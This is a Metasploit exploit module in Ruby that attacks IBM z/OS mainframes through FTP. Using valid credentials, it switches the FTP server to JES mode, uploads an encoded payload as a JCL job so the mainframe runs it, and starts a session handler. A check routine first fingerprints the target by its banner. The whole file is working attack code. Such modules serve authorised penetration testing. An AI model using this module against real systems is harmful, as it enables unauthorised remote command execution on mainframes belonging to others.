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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Ftp
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'FTP JCL Execution',
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        'Description' => %q{
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          Submit JCL to z/OS via FTP and SITE FILE=JES.
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          This exploit requires valid credentials on the target system.
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        },
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        'Author' => [
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          'Bigendian Smalls',
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          'mainframed a.k.a. soldier of fortran',
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          'S&Oxballs a.k.a. chiefascot'
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        ],
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        'Arch' => ARCH_CMD,
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        'License' => MSF_LICENSE,
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        'Platform' => ['mainframe'],
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        'Privileged' => false,
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        'Targets' => [['Automatic', {}]],
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        'DisclosureDate' => '2013-05-12',
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        'DisableNops' => true,
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
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          'Reliability' => [REPEATABLE_SESSION]
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(21),
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        OptInt.new('SLEEP', [ false, 'Time to wait before checking if job has completed.', 5 ])
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      ]
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    )
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  end
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  def post_auth?
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    true
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  end
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  def check
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    ##
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    # Connect to get the FTP banner and check target OS
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    ##
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    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failed to connect to FTP server") unless connect_login
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    print_good('Successfully connected to FTP server.')
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    test_jes = send_cmd(['site', 'file=jes'])
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    # Disconnect and check cached self.banner
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    disconnect
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    ##
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    # Check if the target system has an FTP server running on z/OS"
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    ##
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    unless banner =~ /IBM FTP CS V.R./
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      return CheckCode::Safe("We could not recognize the server banner: #{banner.strip}")
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    end
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    if test_jes =~ /200 SITE/
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      return CheckCode::Vulnerable('Found IBM z/OS Banner and JES commands accepted')
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    end
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    CheckCode::Detected('Found IBM z/OS Banner but SITE FILE=JES failed. Try anyway!')
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  end
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  ##
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  # Exploit the target system by submitting a JCL job via FTP
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  ##
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  def exploit
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    fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Failed to connect to FTP server") unless connect_login
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    print_good('Successfully connected to FTP server.')
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    send_cmd(['site', 'file=jes'])
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    print_good('Successfully switched to JES mode')
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    jcl_file_name = Rex::Text.rand_text_alpha_upper(8)
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    print_status("Uploading JCL file: #{jcl_file_name}")
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    res = send_cmd_data(['put', jcl_file_name], payload.encoded)
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    if res.nil?
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      fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Failed to upload JCL to FTP server")
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    end
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    job_num = res.lines.first.split.last
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    print_good("Job Submitted. Job number is #{job_num}")
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    handler
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    disconnect
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  end
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end
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